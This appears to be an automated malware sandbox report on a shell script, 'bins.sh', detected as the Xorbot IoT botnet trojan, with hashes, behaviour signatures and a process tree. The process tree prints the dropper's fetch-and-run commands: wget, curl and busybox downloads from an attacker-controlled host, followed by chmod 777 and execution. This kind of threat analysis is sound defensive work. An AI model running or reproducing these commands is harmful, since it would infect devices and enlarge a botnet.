Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    29/11/2024, 21:52

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a5da61eaff3ea0e56e811a2643d0d7f2

  • SHA1

    bf0f2e6d31d0c33d4e4c1a38cd38ef56353ac6ba

  • SHA256

    133705d1dad507e910f0e58c174967bb9ca9f06ff834c9be314b657cba0e2043

  • SHA512

    5cb3f1090a5aec83c6beb71d6509bf359a6879ebc4179c89dc10c835beec6e578993d141fbd8a3a979c77d2f4dc23838af55bd202becb624dee2ac8fadf1cdd3

  • SSDEEP

    192:TwsPjwjdlmSl9kT/vmBMWdlLl9kT/u6fPjz:TwsPjwu9mBhkPjz

Score
10/10
xorbotantivmbotnetdefense_evasiondiscoverytrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:644
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • System Network Configuration Discovery
          PID:654
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:659
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • System Network Configuration Discovery
          PID:781
        • /bin/chmod
          chmod 777 U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • File and Directory Permissions Modification
          PID:782
        • /tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          ./U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • Executes dropped EXE
          PID:783
        • /bin/rm
          rm U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
            PID:785
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • System Network Configuration Discovery
            PID:786
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:787

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • /tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          Filesize

          111KB

          MD5

          701e7a55a4f3650f5feee92a9860e5fc

          SHA1

          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

          SHA256

          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

          SHA512

          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

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